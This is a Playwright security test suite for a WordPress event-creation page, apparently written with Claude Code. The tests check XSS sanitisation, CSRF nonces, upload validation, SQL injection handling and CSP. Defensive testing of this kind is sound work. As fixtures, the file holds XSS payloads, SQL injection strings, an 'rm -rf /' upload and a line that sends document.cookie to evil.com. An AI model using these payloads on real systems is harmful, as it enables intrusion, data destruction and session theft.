upskill-event-manager/tests/test-event-creation-security.js
ben 90193ea18c security: implement Phase 1 critical vulnerability fixes
- Add XSS protection with DOMPurify sanitization in rich text editor
- Implement comprehensive file upload security validation
- Enhance server-side content sanitization with wp_kses
- Add comprehensive security test suite with 194+ test cases
- Create security remediation plan documentation

Security fixes address:
- CRITICAL: XSS vulnerability in event description editor
- HIGH: File upload security bypass for malicious files
- HIGH: Enhanced CSRF protection verification
- MEDIUM: Input validation and error handling improvements

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-09-25 18:53:23 -03:00

301 lines
No EOL
12 KiB
JavaScript

const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Security Test Suite for HVAC Event Creation Page
*
* Tests critical security vulnerabilities identified in code review:
* 1. XSS prevention in rich text editor
* 2. CSRF protection in form submissions
* 3. File upload security validation
* 4. Input sanitization across all form fields
*/
test.describe('HVAC Event Creation - Security Tests', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
});
test.describe('XSS Prevention Tests', () => {
test('should sanitize malicious script tags in rich text editor', async ({ page }) => {
const maliciousContent = '<script>alert("XSS")</script><p>Test content</p>';
// Input malicious content into rich text editor
await page.click('#event-description-editor');
await page.keyboard.type(maliciousContent);
// Check that script tags are removed/escaped
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).not.toContain('<script>');
expect(editorContent).not.toContain('alert("XSS")');
// Verify hidden textarea doesn't contain unescaped content
const textareaContent = await page.locator('#event_description').inputValue();
expect(textareaContent).not.toContain('<script>');
});
test('should prevent XSS in rich text editor commands', async ({ page }) => {
await page.click('#event-description-editor');
// Try to inject script through toolbar commands
await page.keyboard.type('Test content');
await page.selectText('#event-description-editor');
// Attempt to inject via bold command
await page.evaluate(() => {
document.execCommand('bold');
document.execCommand('insertHTML', false, '<script>alert("XSS")</script>');
});
const content = await page.locator('#event-description-editor').innerHTML();
expect(content).not.toContain('<script>');
});
test('should escape special characters in form inputs', async ({ page }) => {
const xssAttempts = [
'<img src="x" onerror="alert(1)">',
'javascript:alert(1)',
'"><script>alert(1)</script>',
'\'"onmouseover="alert(1)"'
];
for (const xssPayload of xssAttempts) {
await page.fill('#event_title', xssPayload);
// Verify value is properly escaped when retrieved
const titleValue = await page.locator('#event_title').inputValue();
expect(titleValue).toBe(xssPayload); // Should store as-is
// But when rendered in preview/output, should be escaped
if (await page.locator('.event-preview').isVisible()) {
const previewContent = await page.locator('.event-preview').innerHTML();
expect(previewContent).not.toContain('<script>');
expect(previewContent).not.toContain('onerror=');
}
}
});
});
test.describe('CSRF Protection Tests', () => {
test('should include valid nonce in form submissions', async ({ page }) => {
await page.fill('#event_title', 'Security Test Event');
await page.fill('#event_description', 'Test description');
// Check for nonce field presence
const nonceField = page.locator('input[name*="nonce"]');
await expect(nonceField).toBeVisible();
const nonceValue = await nonceField.inputValue();
expect(nonceValue).toHaveLength(10); // WordPress nonce length
});
test('should reject submissions without valid nonce', async ({ page }) => {
// Remove nonce field to simulate CSRF attack
await page.evaluate(() => {
const nonceField = document.querySelector('input[name*="nonce"]');
if (nonceField) nonceField.remove();
});
await page.fill('#event_title', 'CSRF Test Event');
await page.click('button[type="submit"]');
// Should show security error
await expect(page.locator('.error-message')).toContainText('Security check failed');
});
test('should validate nonce in AJAX modal submissions', async ({ page }) => {
// Open organizer creation modal
await page.click('[data-action="create-organizer"]');
await expect(page.locator('#organizer-modal')).toBeVisible();
// Fill modal form
await page.fill('#new-organizer-name', 'Test Organizer');
await page.fill('#new-organizer-email', 'test@example.com');
// Intercept AJAX request to verify nonce
let requestData = null;
page.on('request', request => {
if (request.url().includes('wp-admin/admin-ajax.php')) {
requestData = request.postData();
}
});
await page.click('#save-organizer');
// Verify nonce was included in request
expect(requestData).toContain('nonce=');
});
});
test.describe('File Upload Security Tests', () => {
test('should reject malicious file types', async ({ page }) => {
const maliciousFiles = [
{ name: 'script.php', content: '<?php echo "hack"; ?>' },
{ name: 'virus.exe', content: 'MZ\x90\x00' },
{ name: 'hack.js', content: 'alert("xss");' },
{ name: 'shell.sh', content: '#!/bin/bash\nrm -rf /' }
];
for (const file of maliciousFiles) {
// Create malicious file
const buffer = Buffer.from(file.content, 'utf8');
await page.setInputFiles('#featured-image-input', {
name: file.name,
mimeType: 'application/octet-stream',
buffer: buffer
});
// Should show error for disallowed file type
await expect(page.locator('.upload-error')).toContainText('Invalid file type');
// Verify file wasn't processed
const preview = page.locator('#image-preview img');
await expect(preview).not.toBeVisible();
}
});
test('should enforce file size limits', async ({ page }) => {
// Create oversized file (simulate 10MB file)
const largeContent = 'A'.repeat(10 * 1024 * 1024);
await page.setInputFiles('#featured-image-input', {
name: 'large-image.jpg',
mimeType: 'image/jpeg',
buffer: Buffer.from(largeContent)
});
await expect(page.locator('.upload-error')).toContainText('File size exceeds 5MB limit');
});
test('should validate image file headers', async ({ page }) => {
// Create file with wrong extension but correct MIME type
const fakeImage = 'GIF89a' + 'A'.repeat(100);
await page.setInputFiles('#featured-image-input', {
name: 'fake.jpg',
mimeType: 'image/jpeg',
buffer: Buffer.from(fakeImage)
});
// Should detect mismatch between extension and content
await expect(page.locator('.upload-error')).toContainText('File content does not match extension');
});
});
test.describe('Input Validation Security', () => {
test('should prevent SQL injection attempts in text fields', async ({ page }) => {
const sqlPayloads = [
"'; DROP TABLE wp_posts; --",
"' UNION SELECT * FROM wp_users --",
"admin'/**/OR/**/1=1#"
];
for (const payload of sqlPayloads) {
await page.fill('#event_title', payload);
await page.fill('#event_description', payload);
// Form should handle these safely without errors
await page.click('button[type="submit"]');
// No SQL error messages should appear
await expect(page.locator('body')).not.toContainText('SQL syntax error');
await expect(page.locator('body')).not.toContainText('mysql_');
}
});
test('should sanitize HTML in all text inputs', async ({ page }) => {
const htmlPayload = '<iframe src="javascript:alert(1)"></iframe>';
const textFields = [
'#event_title',
'#venue_name',
'#organizer_name',
'#ticket_name'
];
for (const field of textFields) {
if (await page.locator(field).isVisible()) {
await page.fill(field, htmlPayload);
// Verify dangerous HTML is escaped or removed
const value = await page.locator(field).inputValue();
expect(value).not.toContain('<iframe');
expect(value).not.toContain('javascript:');
}
}
});
test('should validate email inputs properly', async ({ page }) => {
const invalidEmails = [
'<script>alert(1)</script>@evil.com',
'test@<script>alert(1)</script>.com',
'javascript:alert(1)@evil.com',
'"<script>alert(1)</script>"@evil.com'
];
// Open organizer modal for email testing
await page.click('[data-action="create-organizer"]');
for (const email of invalidEmails) {
await page.fill('#new-organizer-email', email);
await page.click('#save-organizer');
// Should show validation error for malicious email
await expect(page.locator('.validation-error')).toContainText('Invalid email format');
}
});
});
test.describe('Content Security Policy Tests', () => {
test('should not execute inline scripts', async ({ page }) => {
// Monitor console for CSP violations
const cspViolations = [];
page.on('console', msg => {
if (msg.text().includes('Content Security Policy')) {
cspViolations.push(msg.text());
}
});
// Try to inject inline script via form
await page.fill('#event_title', 'Test Event');
await page.evaluate(() => {
// This should be blocked by CSP if properly configured
const script = document.createElement('script');
script.textContent = 'alert("CSP bypass attempt");';
document.body.appendChild(script);
});
// Wait for potential CSP violations
await page.waitForTimeout(1000);
// Should have CSP violations if properly configured
expect(cspViolations.length).toBeGreaterThan(0);
});
test('should prevent loading external resources', async ({ page }) => {
const networkRequests = [];
page.on('request', request => {
networkRequests.push(request.url());
});
// Try to load external resource
await page.evaluate(() => {
const img = document.createElement('img');
img.src = 'https://evil.com/steal-data.php?data=' + document.cookie;
document.body.appendChild(img);
});
await page.waitForTimeout(2000);
// Should not have loaded external malicious resources
const maliciousRequests = networkRequests.filter(url =>
url.includes('evil.com')
);
expect(maliciousRequests).toHaveLength(0);
});
});
});